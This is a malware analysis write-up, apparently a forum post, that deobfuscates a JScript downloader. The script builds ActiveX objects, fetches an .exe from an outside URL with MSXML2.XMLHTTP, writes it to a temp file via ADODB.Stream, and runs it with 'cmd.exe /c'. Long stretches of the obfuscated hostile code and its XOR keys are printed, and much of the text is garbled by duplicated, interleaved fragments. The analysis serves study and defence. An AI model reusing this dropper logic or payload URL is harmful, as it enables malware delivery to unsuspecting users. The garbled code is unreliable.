The return value, oQ, is a Boolean (true or false) : result of the test "is typeof DATA == XkB ?"
=> two comparison with XkB
Let's find the String returned by oh().
oh()
function oh()
{
I think you have understood, now : oh() : a function that call a function that calls functions that calls functions, etc...{
var h=21632;
return XOA()+yUo();
=> calls two other functions !
}return XOA()+yUo();
=> calls two other functions !
function XOA()
{
var NRA=53614;
return I()+TwY();
}
function yUo()
{
var OO=51481;
return wG()+gR();
{
var NRA=53614;
return I()+TwY();
=> calls two other functions !
function yUo()
{
var OO=51481;
return wG()+gR();
=> calls two other functions !
}
When I was deobuscating the oh() function, some time passed ... and I was still on sub-functions ...
This is the simplified view :
ok() function used around 80 different functions ...
A the end of some "last" functions, in several parts, a char is returned.
All the below code has one goal : build this string : "ADODB.Stream"
All the below code has one goal : build this string : "ADODB.Stream"
The most important function is J(value) we have seen it in a precedent part.
=> Looking in the details, we can see it is the biggest part
You can look in the spoiler code part :
The J() function with all its sub-function only makes in reality a small thing :
The J() function with all its sub-function only makes in reality a small thing :
J(Value) => returns String.fromCodeCharCode(Value+1)
Details in the part, but simplified (I have mainly wrote the name of the functions called, not all the useless code inside)
Code:
Oh() =>XOA()+yUo();
=> XOA() => I()+TwY();
=> I() => bYp()+MN()
=> bYp => Hjz() : "A"
=> MN() => lP() +SuU()
=> IP() => xEQ() : "D"
=> SuU() = return J(4+74)
The function J(..) is a very important function, called several times from other parts of the script
var Kk=842271;
var IJ=Kk+44517;
var q=IJ/918;
var a=q-965; => = 1
var Qk = eval(Mr() + (DK+a) + aKq());
=> Mr() => iW()+adq()
=> iW() => s()+ ryJ()
=> s() => sm()+kd()
=> Wed()+ye()
=> Wed() => A() : "S"
=> ye() => pT() : "t"
=> kd() => QTN()+ xcT()
=> QTN() => j() : "r"
=> xcT() => ih()+ l()
=> ih() : "i"
=> l() : "n"
=> ryJ() => sd()+ yVO()
=> sd() => pe()+ Glt()
=> pe(0) : "g"
=> Glt() : eval("String.fromCharCode(19+27)" : "."
=> yVO() => haG()+Whd()
=> haG() => eval("String.fromCharCode(249-147)") : "f"
=> Whd() => OfW()+Pv()
=> OfW() => eYh() : "r"
=> Pv() => eH() : "o"
=> adq() => NT()+id()
=> NT() => M()+Z()
=> M() => rPV()+ us()
=> rPV() => TR() : "m"
=> us() ; "C"
=> Z() => jR()+E
=> jR() : "h"
=> E() => aU()+dad()
=> aU() => WgE() : "a"
=> dad() => eval("String.fromCharCode(865-751)") : "r"
=> id() => jq()+e()
=> jq() => GhP()+FV()
=> GhP() => H() : "C"
=> FV() => eval("String.fromCharCode(409-298)") : "o"
=> e() => OTU()+vff()
=> OTU() => eval("String.fromCharCode(24+76)") : "d"
=> vff() => kx()+N()
=> kx() : eval("String.fromCharCode(60+41)") : "e"
=> N() => wDH() : "("
Then : Mr() : "String.fromCodeCharCode("
=> DK+a = (78+1) : value + 1
=> aKq() => eval("String.fromCharCode(262-221)"): ")"
Conlusion : for J(value) => eval("String.fromCodeCharCode(" + (value+1) + ")"
=> J(value) = String.fromCodeCharCode(value+1)
J(78) => "O"
For the moment, we have "A" + "D" + "O" only :p
=> Twy() => xzm()+Be()
=> xzm() =>J(67) => using what we have learnt above for J(value) funtion :
=> String.fromCodeCharCode(value+1)
=> String.fromCodeCharCode(68)
=> "D"
=> Be() => Q()+jrF()
=> Q() => qw() : "B"
=> jrF() => J(2385/53-0)
=> J(45)
=> String.fromCodeCharCode(46)
=> "."
=> yUO() => wG()+gR()
=> wG() => rbT()+mVZ()
=> rbT() => "S"
=> mVZ() => POQ()+ nL()
=> POQ() => J(6785/59-0) : "t"
=> nL() => Rw() : "r"
=> gR() => Fxm()+NL()
=> Fxm() => mXR() : "e"
=> NL() => RA()+ Ws()
=> RA() => xT() : "a"
=> Ws() : J(36*3) => J(108) => "m"
Let's see again the function call by the if from the main part :
function qdI()
{
Here this function always returns true, because the type of data returned is always "unknown" (if running under the good environment).{
var Uh = eval("ActiveXObject");
var Rl = new Uh(oh());
WuR=WuR+J(551-435)+J(109)+J(161-55)+J(418-309)+J(10*11)+J(1043-925)+J(229-120);
return oQ;
}var Rl = new Uh(oh());
=> new ActiveXObject("ADODB.Stream")
=> create a Stream object
var WuR="";=> create a Stream object
WuR=WuR+J(551-435)+J(109)+J(161-55)+J(418-309)+J(10*11)+J(1043-925)+J(229-120);
=> now, we know what J(value) make !
var XkB = WuR;=> the values are not put in clear, but with operations
=> J(116)+J(109)+J(106)+J(418-309)+J(10*11)+J(1043-925)+J(229-120);
=>values : 116 , 109, 106,110 , 118, 109
=> charcodes : 117 , 110, 107, 111, 119, 110
=> "u" + "n" + "k" + "o" + "w" + "n" (with ALT+ code)
=> WuR = "unknown"=> J(116)+J(109)+J(106)+J(418-309)+J(10*11)+J(1043-925)+J(229-120);
=>values : 116 , 109, 106,110 , 118, 109
=> charcodes : 117 , 110, 107, 111, 119, 110
=> "u" + "n" + "k" + "o" + "w" + "n" (with ALT+ code)
=> "unkown"
var oQ = (typeof Rl[CWZ()] == XkB);
=> CWZ() => YA()+Imt()
=> var oQ = (typeof Stream["Close"] == "unknown"
=> return a boolean (true or false)
=> if no : the stream.Close method is unknown.
=> test if stream.Close method is "unknown"
=> here : oQ always true!
if (!oQ) return oQ;=> YA() => vq()+Hk()
=> Imt() => BP()+VUd()=> vq() => J(35+31) : "C"
=> Hk() => J(302-195) : "l"
=> Hk() => J(302-195) : "l"
=> BP() => VNo() => "o"
=> VUd() => sI()+uKr()
=> sI() => J(6*19) : "s"
=> uKr() => J(348-248) : "e"
=> uKr() => J(348-248) : "e"
=> return a boolean (true or false)
=> if no : the stream.Close method is unknown.
=> test if stream.Close method is "unknown"
=> here : oQ always true!
=> if "not" "unknown" : return true
=> will never be used, because we have just seen oQ is always true, here
oQ = (typeof Rl[tDk()] == XkB);=> will never be used, because we have just seen oQ is always true, here
=> same method than CWZ() : functions / sub-functions=> tDk() => "Position"
=> test if stream.Position method is "unknown"
=> oQ always true
=> test if stream.Position method is "unknown"
=> oQ always true
Remark : on the other sample : начисления_xls.js (see at the end of this post)
The Boolean true or false are the result of one test :
var E = (typeof QWi[iHx()] == "object";
=> typeof object_recordset_fields
=> returns "object" (and no "unknown") if running under the good environment
=> typeof object_recordset_fields
=> returns "object" (and no "unknown") if running under the good environment
2-4) The main function gW(URL) :nof = gW(Tib[Ta]);
=> Tib[Ta] : current URL (Ta will be 0 or 1)
The script stops if :
=> Tib[Ta] : current URL (Ta will be 0 or 1)
The script stops if :
- one of these URLs worked and the payload has been run,
- none of these URLs worked
- errors occurred for each URLs or steps (false returned)
- none of these URLs worked
- errors occurred for each URLs or steps (false returned)
function gW(qnI)
{
{
var cd = htU(qnI);
if (!cd)
throw cd;
return cd;
}if (!cd)
throw cd;
return cd;
=> htU(qnI)
3) Conclusion :- downloads the payload from URL that is given as parameter : qnI
- saves it on the HDD
- runs it
function htU(Tib)
{
- saves it on the HDD
- runs it
function htU(Tib)
{
var nGi="";
nGi=nGi+J(783/9+0)+J(1044-966)+J(97)+J(96+9)+J(8600/86+0)+J(14*7)+J(53+62);
=> shell object : for the run part (see below)
var dwe = YjS(Pt);
=> http object for the request
var bC=[];
bC[0]="emO";
bC[1]="ile";
bC[2]="in";
bC[3]="ect";
bC[4]="st";
bC[5]="bj";
bC[6]="g";
bC[7]="Sy";
bC[8]="ipt";
bC[9]="Scr";
bC[10]=".F";
var npT=bC[9]+bC[8]+bC[2]+bC[6]+bC[10]+bC[1]+bC[7]+bC[4]+bC[0]+bC[5]+bC[3];
var cOv="";
cOv=cOv+J(41*2)+J(9+106)+J(1536/16+0)+J(693-578)+J(11136/96+0)+J(912/8+0);
var leM=Xdq+43957;
var Gcb=leM/405;
var NC=Gcb-928;
var haS = NC;
return true;
}nGi=nGi+J(783/9+0)+J(1044-966)+J(97)+J(96+9)+J(8600/86+0)+J(14*7)+J(53+62);
=> "XObject"
var Pt = jH(nGi);
=> Pt = ActiveXObject object - not the string "ActiveXObject" !
var yb = DN(Pt);
function DN(ayd)
{
=> new ActiveXObject("Wscript.Shell"){
var wC = new ayd(QRO("144B501D5E32151C2758215D16","C83o7Ba2t0D1zn3tfqUcMUag2g8hwJlsWgdXjD9rtYWDbxF2uQrnf64sJOKWzGaqgAj8716EyG"));
=> new ActiveXObject("Wscript.Shell")
return wC;
}=> new ActiveXObject("Wscript.Shell")
return wC;
=> shell object : for the run part (see below)
function YjS(GgD)
{
=> new ActiveXObject("MSXML2.XMLHTTP"){
var wC = new GgD(QRO("35232A193A6A6C0107742C333529","xprTvXBYJ8dgay32zvNLN6fbbvJp1XV6w4U5BuhZ4MyPZyDCytLJ8Ls0WrItDcADtEzeOiEKgUjKGhcs"));
=> new ActiveXObject("MSXML2.XMLHTTP")
return wC;
}=> new ActiveXObject("MSXML2.XMLHTTP")
return wC;
=> http object for the request
bC[0]="emO";
bC[1]="ile";
bC[2]="in";
bC[3]="ect";
bC[4]="st";
bC[5]="bj";
bC[6]="g";
bC[7]="Sy";
bC[8]="ipt";
bC[9]="Scr";
bC[10]=".F";
var npT=bC[9]+bC[8]+bC[2]+bC[6]+bC[10]+bC[1]+bC[7]+bC[4]+bC[0]+bC[5]+bC[3];
=> "Scripting.FileSystemObject"
var dSF = new Pt(npT);
=> new ActiveXObject("Scripting.FileSystemObject")
=> FSO object to manipulate the files / folder / path
if (jGP(dwe, Tib) == 0)=> FSO object to manipulate the files / folder / path
=> try to retrieve the data from the URL
=> parameters : the http object to make the request, and the URL
return false;=> parameters : the http object to make the request, and the URL
function jGP(OF, qnI)
{
{
var mD=[];
mD[0]="5o";
mD[1]="aL";
mD[2]="R";
mD[3]="R";
mD[4]="b0K";
mD[5]="gh";
mD[6]="mC";
mD[7]="qdn";
mD[8]="L9p";
mD[9]="A";
mD[10]="WKH";
mD[11]="Au";
mD[12]="yn";
mD[13]="7";
mD[14]="b";
mD[15]="70";
mD[16]="eW";
mD[17]="e75";
mD[18]="mY";
mD[19]="qK";
mD[20]="ZZH";
mD[21]="h3";
mD[22]="I";
mD[23]="f";
mD[24]="8D";
mD[25]="hLx";
mD[26]="48i";
mD[27]="P";
mD[28]="mhZ";
mD[29]="seO";
mD[30]="N";
mD[31]="s";
mD[32]="s";
mD[33]="kcI";
mD[34]="U9N";
mD[35]="fyP";
var JnJ=mD[28]+mD[21]+mD[19]+mD[8]+mD[5]+mD[10]+mD[6]+mD[1]+mD[15]+mD[12]+mD[18]+mD[32]+mD[25]+mD[13]+mD[26]+mD[14]+mD[23]+mD[16]+mD[24]+mD[0]+mD[33]+mD[17]+mD[20]+mD[29]+mD[7]+mD[2]+mD[31]+mD[34]+mD[30]+mD[35]+mD[27]+mD[11]+mD[4]+mD[22]+mD[9]+mD[3];
Cpn=Cpn+J(825-771)+J(24*3)+J(10230/93-0)+J(45+55)+J(922-846)+J(7*11)+J(53)+J(824-722)+J(244-127)+J(4*13)+J(85-38)+J(336-228)+J(2244/22+0)+J(3+86)+J(4*19)+J(32*2)+J(3*17)+J(2616/24+0)+J(5*11)+J(182-96)+J(4048/46+0)+J(327-256)+J(2349/29+0)+J(793-697)+J(10764/92+0)+J(55+32)+J(67)+J(713-629)+J(3648/48-0)+J(10*7)+J(89)+J(367-319)+J(262-184)+J(8*7)+J(1188/22+0)+J(25+92)+J(7*7)+J(334-269)+J(16*5)+J(2231/23-0)+J(3*17)+J(72+3)+J(116/1+0)+J(6375/85+0)+J(4225/65-0)+J(315-198)+J(707-634)+J(1825/25-0)+J(907-803)+J(3213/63-0)+J(7110/90+0)+J(586-532)+J(875-767)+J(4446/39-0)+J(387-290)+J(38+68)+J(8+90)+J(53)+J(886-767)+J(2380/35-0)+J(108+1)+J(5664/59-0)+J(46+70)+J(4757/67-0)+J(2773/59-0)+J(360/3-0)+J(7*11)+J(400/4-0)+J(90+10)+J(266-159)+J(70+14)+J(741-661)+J(8*7)+J(550/5-0)+J(51+70);
var aJJ=tkc+19575;
var CF=aJJ/476;
var xgH=CF-478;
OF[QRO("02183F06",JnJ)](QRO("700C3B",Cpn), qnI, xgH);
return 0;
}
return 1;
}mD[0]="5o";
mD[1]="aL";
mD[2]="R";
mD[3]="R";
mD[4]="b0K";
mD[5]="gh";
mD[6]="mC";
mD[7]="qdn";
mD[8]="L9p";
mD[9]="A";
mD[10]="WKH";
mD[11]="Au";
mD[12]="yn";
mD[13]="7";
mD[14]="b";
mD[15]="70";
mD[16]="eW";
mD[17]="e75";
mD[18]="mY";
mD[19]="qK";
mD[20]="ZZH";
mD[21]="h3";
mD[22]="I";
mD[23]="f";
mD[24]="8D";
mD[25]="hLx";
mD[26]="48i";
mD[27]="P";
mD[28]="mhZ";
mD[29]="seO";
mD[30]="N";
mD[31]="s";
mD[32]="s";
mD[33]="kcI";
mD[34]="U9N";
mD[35]="fyP";
var JnJ=mD[28]+mD[21]+mD[19]+mD[8]+mD[5]+mD[10]+mD[6]+mD[1]+mD[15]+mD[12]+mD[18]+mD[32]+mD[25]+mD[13]+mD[26]+mD[14]+mD[23]+mD[16]+mD[24]+mD[0]+mD[33]+mD[17]+mD[20]+mD[29]+mD[7]+mD[2]+mD[31]+mD[34]+mD[30]+mD[35]+mD[27]+mD[11]+mD[4]+mD[22]+mD[9]+mD[3];
=> passord_1 : for XOR part "mhZh3qKL9pghWKHmCaL70ynmYshLx748ibfeW8D5okcIe75ZZHseOqdnRsU9NNfyPPAub0KIAR"
var Cpn="";
Cpn=Cpn+J(825-771)+J(24*3)+J(10230/93-0)+J(45+55)+J(922-846)+J(7*11)+J(53)+J(824-722)+J(244-127)+J(4*13)+J(85-38)+J(336-228)+J(2244/22+0)+J(3+86)+J(4*19)+J(32*2)+J(3*17)+J(2616/24+0)+J(5*11)+J(182-96)+J(4048/46+0)+J(327-256)+J(2349/29+0)+J(793-697)+J(10764/92+0)+J(55+32)+J(67)+J(713-629)+J(3648/48-0)+J(10*7)+J(89)+J(367-319)+J(262-184)+J(8*7)+J(1188/22+0)+J(25+92)+J(7*7)+J(334-269)+J(16*5)+J(2231/23-0)+J(3*17)+J(72+3)+J(116/1+0)+J(6375/85+0)+J(4225/65-0)+J(315-198)+J(707-634)+J(1825/25-0)+J(907-803)+J(3213/63-0)+J(7110/90+0)+J(586-532)+J(875-767)+J(4446/39-0)+J(387-290)+J(38+68)+J(8+90)+J(53)+J(886-767)+J(2380/35-0)+J(108+1)+J(5664/59-0)+J(46+70)+J(4757/67-0)+J(2773/59-0)+J(360/3-0)+J(7*11)+J(400/4-0)+J(90+10)+J(266-159)+J(70+14)+J(741-661)+J(8*7)+J(550/5-0)+J(51+70);
=> pasword_2 : for XOR part "7IoeMN6gv50mgZMA4n8WYHRavXDUMGZ1O97v2BQb4LuLBvJJi4P7msbkc6xEnauH0yNeelUQ9oz"
var tkc=207953;
var aJJ=tkc+19575;
var CF=aJJ/476;
var xgH=CF-478;
OF[QRO("02183F06",JnJ)](QRO("700C3B",Cpn), qnI, xgH);
=> http["open"]("GET", "http ://www .interlaan.com/deklar_11222016.exe, 0)
try {
OF[QRO("1B202D53","hEC7c7RW7l7RcuyQeaHB1yOcRt8hth0hzTpnWp54znW0WJrFDAdcAnUJe5ud6Lag2oK0ud")]();
} catch (WKY) {=> http["send"]()
=> http.send()
=> send the request !
=> http.send()
=> send the request !
return 0;
}
return 1;
var cOv="";
cOv=cOv+J(41*2)+J(9+106)+J(1536/16+0)+J(693-578)+J(11136/96+0)+J(912/8+0);
=> "Status"
var sn = dwe[cOv];
=> http.status
var Xdq=412883;
var leM=Xdq+43957;
var Gcb=leM/405;
var NC=Gcb-928;
var haS = NC;
=> haS = 200 => When the request is OK (HTTP_OK)
if (sn == haS) {
=> sn == 200 ?
=>if true : the following part is run
var IxV="";
IxV=IxV+J(448/7-0)+J(67)+J(648-570)+J(67)+J(5*13)+J(4+41)+J(41*2)+J(5*23)+J(432-319)+J(84+16)+J(32*3)+J(490-382);
qU=qU+J(70+8)+J(42+69)+J(2400/24-0)+J(109);
cY=cY+J(83)+J(24*5)+J(4884/44+0)+J(43+57);
var hZ=MzJ+16865;
var CAg=hZ/48;
var By=CAg-626;
gib[cY] = By;
yu=yu+J(54+27)+J(20*5)+J(6*19)+J(7881/71-0)+J(10*11)+J(8720/80-0)+J(11+103)+J(1600/16+0)+J(275-210)+J(75+35)+J(9*11)+J(27+93);
DZy=DZy+J(43*2)+J(923-810)+J(8*13)+J(94+21)+J(20*5);
Am=Am+J(69+10)+J(33+77)+J(6156/54-0)+J(89+15)+J(25+90)+J(416/4+0)+J(90+20)+J(109);
var YU=lm+50275;
var Ny=YU/580;
var LC=Ny-536;
=> calls a function that try to save the data on a file
=> WN(stream , PATH, ActiveXObject)
return false;
Details of WN function :
Uses an "ADODB.Recordset" object :
(this method can be use to convert data type, but here, data received are put on a stream with data type : binary => no changes)
Finally saves the data to a file ( random name using GetTempName) :
Example : "C:\Users\DardiM\AppData\Local\Temp\radDFC2C.tmp"
var iSG="";
iSG=iSG+J(6*11)+J(1087-980)+J(5060/46-0)+J(645-531)+J(699-599);
Ep=Ep+J(3626/37-0)+J(1108-1000)+J(44+55)+J(2475/55+0)+J(23+77)+J(5355/45+0)+J(2100/21-0)+J(21+10)+J(3036/66-0)+J(2548/26-0)+J(1984/64-0);
var ybc=118986;
var NI=ybc+11627;
var fi=NI/397;
var UF=fi-329;
var IIZ = UF;
var Vp=[];
Vp[0]="y7a";
Vp[1]="nd";
Vp[2]="sjh";
Vp[3]="gfs";
Vp[4]="qm";
Vp[5]="dh";
Vp[6]="as";
Vp[7]="fs";
var Jdv=Vp[6]+Vp[4]+Vp[1]+Vp[2]+Vp[0]+Vp[3]+Vp[5]+Vp[7];
ft=ft+J(920-872)+J(5+43)+J(4214/86-0)+J(10*5);
=> this big function calls itself several times until some values are reached
=> the big string is modified at each call
"asqmndsjhy7agfsdhfs"
"asqmndsjhy7agfsdhf"
"asqmndsjhy7agfsdh"
"asqmndsjhy7agfs"
"asqmndsjhy7agf"
...
...
"asqmnds"
function JK(rch, LAe, tC, xnW)
{
var gL=146016;
var anP=gL+63364;
var qXw=anP/361;
var mlA=qXw-570;
var qvO = mlA;
=> here, IIZ is always equal to 8 and qvO equal to 10
{
else
{
}
else {=>if true : the following part is run
var IxV="";
IxV=IxV+J(448/7-0)+J(67)+J(648-570)+J(67)+J(5*13)+J(4+41)+J(41*2)+J(5*23)+J(432-319)+J(84+16)+J(32*3)+J(490-382);
=> "ADODB.Stream"
var gib = new Pt(IxV);
=> new ActiveXObject( "ADODB.Stream")
=> create a stream object, to handle the data received
var SW = VNB(dSF);=> create a stream object, to handle the data received
=> calls VNB function with the FileObjectSystem as parameter
=> returns the path to be used :
=> Example : "C:\\Users\\DardiM\\AppData\\Local\\Temp\\radDFC2C.tmp"
The function uses :128["charAt"](256) to make an error occurs, and redirect the script on the catch part,that is the part to deal with errors. But here normal codes is inside this part.
var qU="";=> returns the path to be used :
=> Example : "C:\\Users\\DardiM\\AppData\\Local\\Temp\\radDFC2C.tmp"
The function uses :128["charAt"](256) to make an error occurs, and redirect the script on the catch part,that is the part to deal with errors. But here normal codes is inside this part.
=> it tries to read the char at index 256 inside the number 128... hahaha
Code:
function VNB(AK)
{
var kO=118956;
var ApS=kO+55044;
var ELV=ApS/580;
var htB=ELV-172;
var LPh = htB;
var UuE="";
UuE=UuE+J(109)+J(1650/15-0)+J(5*23);
=> "not"
var xw = UuE;
try
{
var ux="";
ux=ux+J(7*13);
=> "\\"
var KUe="";
KUe=KUe+J(10*7)+J(419-319)+J(5*23)+J(684-601)+J(20*5)+J(657-549)+J(321-210)+J(784-707)+J(32*3)+J(6480/60-0)+J(1500/15+0);
=> "GetTempName"
xw = ux + AK[KUe]();
=> "\\radDFC2C.tmp"
var xZz="";
xZz=xZz+J(452-354)+J(284-181)+J(32*3)+J(97+16)+J(1408/22-0)+J(5*23);
=> "charAt"
var Pz=660305;
var Rlj=Pz+62830;
var pgJ=Rlj/679;
var eSw=pgJ-809;
xw = xw + LPh[xZz](eSw);
=> generate an error : LPh[xZz](eSw) : 128["charAt"](256)
// never used parts
var Yv="";
Yv=Yv+J(136/2-0)+J(716-618)+J(63+40)+J(577-467);
=>
var VUK=[];
VUK[0]="d3";
VUK[1]="dah";
VUK[2]="s";
VUK[3]="h";
VUK[4]="663";
VUK[5]="asg";
VUK[6]="g";
VUK[7]="dh";
var Sq=VUK[7]+VUK[5]+VUK[3]+VUK[0]+VUK[4]+VUK[6]+VUK[1]+VUK[2];
=> "dh" + "asg" + "h" + "d3" + "663" + "g" + "dah" + "s"
=> no "mean"
WScript[Yv](Sq);
}
catch (Ms)
{
=> the error that is made voluntarily make the script reaches here
var rd="";
rd=rd+J(742-676)+J(271-158)+J(16+84)+J(82+14)+J(75+40)+J(3800/38-0)+J(67+11)+J(8+89)+J(15*7)+J(539-439)+J(392/4+0)+J(4600/40+0);
=> "CreateObject"
var rOs="";
rOs=rOs+J(40+46)+J(4+78)+J(9310/95-0)+J(495-382)+J(70+34)+J(3*37)+J(34+81)+J(9*5)+J(64+13)+J(48+52)+J(5*23)+J(59*2)+J(143-33)+J(2034/18-0)+J(954/9-0);
=> "WScript.Network"
var OxT = WScript[rd](rOs);
=> WScript.CreateObject("WScript.Network")
var CFm="";
CFm=CFm+J(12*7)+J(3192/28+0)+J(33+67)+J(683-570)+J(65+2)+J(27+83)+J(9396/87+0)+J(3648/38-0)+J(446-342)+J(109);
=> "UserDomain"
var Wl = typeof OxT[CFm];
=> get user domain : "DESKTOP-DARDIMPC"
var uL="";
uL=uL+J(860-746)+J(2530/22+0)+J(113)+J(8*13)+J(109)+J(9384/92-0);
=> "string"
var KDf = uL;
if (Wl == KDf)
{
=> two Strings ?
var rC=55817;
var EZO=rC+11587;
var BN=EZO/82;
var SC=BN-819;
var JeR = SC;
var kP="";
kP=kP+J(747-677)+J(8700/87-0)+J(5*23)+J(41*2)+J(837-726)+J(20*5)+J(14*7)+J(5720/55+0)+J(32*3)+J(107)+J(759/11-0)+J(102+8)+J(94+13)+J(2+97)+J(20*5)+J(113);
=> "GetSpecialFolder"
var acD=607;
var lru=acD+3401;
var NK=lru/4;
var IW=NK-1000;
xw = AK[kP](IW) + xw;
=> "C:\\Users\\DardiM\\AppData\\Local\\Temp\\radDFC2C.tmp"
}
else
{
var gA=472398;
var nh=gA+23328;
var dU=nh/518;
var rkq=dU-947;
var JeR = rkq;
var CU=[];
CU[0]="S";
CU[1]="pec";
CU[2]="Get";
CU[3]="e";
CU[4]="r";
CU[5]="F";
CU[6]="old";
CU[7]="ial";
var di=CU[2]+CU[0]+CU[1]+CU[7]+CU[5]+CU[6]+CU[3]+CU[4];
=> "GetSpecialFolder"
var bDo=254595;
var hxj=bDo+51425;
var IkN=hxj/535;
var fg=IkN-571;
xw = AK[di](fg) + xw;
}
}
return xw;
}
qU=qU+J(70+8)+J(42+69)+J(2400/24-0)+J(109);
=> "Open"
gib[qU]();
=> stream["Open"]()
=> stream.Open()
=> opens the stream object, to be able to use it
var cY="";=> stream.Open()
=> opens the stream object, to be able to use it
cY=cY+J(83)+J(24*5)+J(4884/44+0)+J(43+57);
=> "Type"
var MzJ=13231;
var hZ=MzJ+16865;
var CAg=hZ/48;
var By=CAg-626;
gib[cY] = By;
=> stream["Type"] = 1 : binary data : the data that will put inside will be considered as binary data
var yu="";
yu=yu+J(54+27)+J(20*5)+J(6*19)+J(7881/71-0)+J(10*11)+J(8720/80-0)+J(11+103)+J(1600/16+0)+J(275-210)+J(75+35)+J(9*11)+J(27+93);
=> "ResponseBody"
var yzh = dwe[yu];
=> var yzh = http.ResponseBody
=> Array of bytes with the data received from the http request
var DZy="";=> Array of bytes with the data received from the http request
DZy=DZy+J(43*2)+J(923-810)+J(8*13)+J(94+21)+J(20*5);
=> "write"
gib[DZy](yzh);
=> stream["write](yzh)
=> writes in the stream object the data received (temporary saved on yzh var)
var Am="";=> writes in the stream object the data received (temporary saved on yzh var)
Am=Am+J(69+10)+J(33+77)+J(6156/54-0)+J(89+15)+J(25+90)+J(416/4+0)+J(90+20)+J(109);
=> "Position"
var lm=260605;
var YU=lm+50275;
var Ny=YU/580;
var LC=Ny-536;
=> LC= 0
gib[Am] = LC;
=> stream["position"] = 0
=> after the call of the write, the position has changed : set to 0
if (!WN(gib, SW, Pt))=> after the call of the write, the position has changed : set to 0
=> calls a function that try to save the data on a file
=> WN(stream , PATH, ActiveXObject)
return false;
Details of WN function :
Uses an "ADODB.Recordset" object :
The ADO Recordset object is used to hold a set of records from a database table. A Recordset object consist of records and columns (fields).
details : ADO Recordset Object
- adds the data from the stream object to the record, and read the data from the record,to get the sizedetails : ADO Recordset Object
(this method can be use to convert data type, but here, data received are put on a stream with data type : binary => no changes)
Finally saves the data to a file ( random name using GetTempName) :
Example : "C:\Users\DardiM\AppData\Local\Temp\radDFC2C.tmp"
Code:
function WN(gV, Jp, LAe) // Stream, "C:\\Users\\DardiM\\AppData\\Local\\Temp\\radDFC2C.tmp", ActiveXObject
{
var TOw=376387;
var LH=TOw+46238;
var XCe=LH/735;
var sM=XCe-565;
var DC = sM;
var Qbv="";
Qbv=Qbv+J(605-524)+J(89+11)+J(960/10+0)+J(4356/44+0);
=> "Read"
var Ld = gV[Qbv]();
=> Stream.Read()
=> array of bytes : payload binary data
var tv="";
tv=tv+J(232-150)+J(9152/88-0)+J(728-607)+J(898-798);
=> "Size"
var Hx = gV[tv];
=> Stream.size => size written : 924410
var bP=444811;
var NUC=bP+14609;
var nPH=NUC/620;
var NoG=nPH-540;
var etf = NoG;
var rx="";
rx=rx+J(832/13-0)+J(547-480)+J(6*13)+J(6633/99-0)+J(5*13)+J(6+39)+J(1701/21+0)+J(2000/20+0)+J(8624/88+0)+J(10*11)+J(88+25)+J(9+90)+J(44+70)+J(7500/75-0)+J(10120/88-0);
=> "ADODB.Recordset"
=> see : https://msdn.microsoft.com/en-us/library/ms681510(v=vs.85).aspx
var SFa = new LAe(rx);
=> new ActiveWObject("ADODB.Recordset")
var SfA="";
SfA=SfA+J(27+70)+J(8*13)+J(76+33);
=> "bin"
var OB = SfA;
var PbB="";
PbB=PbB+J(101)+J(428-324)+J(4500/45+0)+J(107)+J(0+99)+J(6*19);
=> "fields"
var Yb="";
Yb=Yb+J(32*3)+J(11100/100+0)+J(32+79)+J(27+73)+J(65+44)+J(355-256);
=> "append"
SFa[PbB][Yb](OB, etf, Hx);
=> RecordeSet Object
=> RecordeSet["fields"]["append"]("bin",201,924410)
=> Type 201 : adLongVarChar Memo (Access 97) Hyperlink (Access 97) Text
var CFg="";
CFg=CFg+J(59+51)+J(3*37)+J(20*5)+J(109);
=> "open"
SFa[CFg]();
=> RecordeSet["open"]
var ZJ="";
ZJ=ZJ+J(350-254)+J(738-639)+J(9*11)+J(7*11)+J(589-489)+J(15+103);
=> "addNew"
=> After you call the AddNew method, the new record becomes the current record and remains current after you call the Update method.
SFa["addNew"]();
var XmR="";
XmR=XmR+J(72+24)+J(340-229)+J(6882/62-0)+J(128-28)+J(71+38)+J(541-442)+J(60+6)+J(25+78)+J(4*29)+J(109)+J(53*2);
=> "appendChunk"
SFa(OB)[XmR](Ld);
recordeSet("bin")["appendChunk"](stream)
=> Appends data to a large text or binary data Field, or to a Parameter
object.
=> the binary data received : payload
var BC="";
BC=BC+J(72+44)+J(757-646)+J(8712/88-0)+J(429-333)+J(786-671)+J(7400/74-0);
=> "update"
SFa[BC]();
var LvZ="";
LvZ=LvZ+J(9*13)+J(32*3)+J(397-290)+J(950-834)+J(20*5);
=> "value"
Ld = SFa(OB)[LvZ];
=> retrieve the "bin" value : the data
=> RS.bin["value"]
var wJ="";
wJ=wJ+J(214/2-0)+J(20*5)+J(995-886)+J(33+69)+J(5*23)+J(2+101);
=> "length"
var Coz = Ld[wJ];
=> retreive the lenght of data
if (Coz > DC)
=> 924410 > 10
{
var los="";
los=los+J(75+7)+J(576/6+0)+J(9*13)+J(50+50)+J(83)+J(68+42)+J(222-153)+J(611-507)+J(107)+J(302-202);
=> "SaveToFile"
gV[los](Jp);
=> Stream["SaveToFile"](jp)
=> Example : ("C:\\Users\\DardiM\\AppData\\Local\\Temp\\radDFC2C.tmp")
return true;
}
else return false;
}
var iSG="";
iSG=iSG+J(6*11)+J(1087-980)+J(5060/46-0)+J(645-531)+J(699-599);
=> "Close"
gib[iSG]();
=> stream["Close"]()
=> stream.close()
=> close the stream object (this object has done is job : closed)
var Ep="";=> stream.close()
=> close the stream object (this object has done is job : closed)
Ep=Ep+J(3626/37-0)+J(1108-1000)+J(44+55)+J(2475/55+0)+J(23+77)+J(5355/45+0)+J(2100/21-0)+J(21+10)+J(3036/66-0)+J(2548/26-0)+J(1984/64-0);
=> "cmd.exe /c "
var ZzY = Ep + SW;
var ybc=118986;
var NI=ybc+11627;
var fi=NI/397;
var UF=fi-329;
var IIZ = UF;
var Vp=[];
Vp[0]="y7a";
Vp[1]="nd";
Vp[2]="sjh";
Vp[3]="gfs";
Vp[4]="qm";
Vp[5]="dh";
Vp[6]="as";
Vp[7]="fs";
var Jdv=Vp[6]+Vp[4]+Vp[1]+Vp[2]+Vp[0]+Vp[3]+Vp[5]+Vp[7];
=> "asqmndsjhy7agfsdhfs"
var ft="";
ft=ft+J(920-872)+J(5+43)+J(4214/86-0)+J(10*5);
=> "1123"
IIZ = ygJ(Jdv, Pt, ZzY, ft);
function ygJ(ng, LAe, tC, xnW)
{
{
var JC="";
JC=JC+J(4066/38+0)+J(93+7)+J(3488/32+0)+J(4386/43-0)+J(5*23)+J(94+9);
var iSL = ng[JC];
var Jnf=279668;
var EQQ=Jnf+15258;
var HB=EQQ/478;
var ubH=HB-610;
var dUR = ubH;
var sDM=402607;
var Ko=sDM+39011;
var RI=Ko/827;
var tU=RI-529;
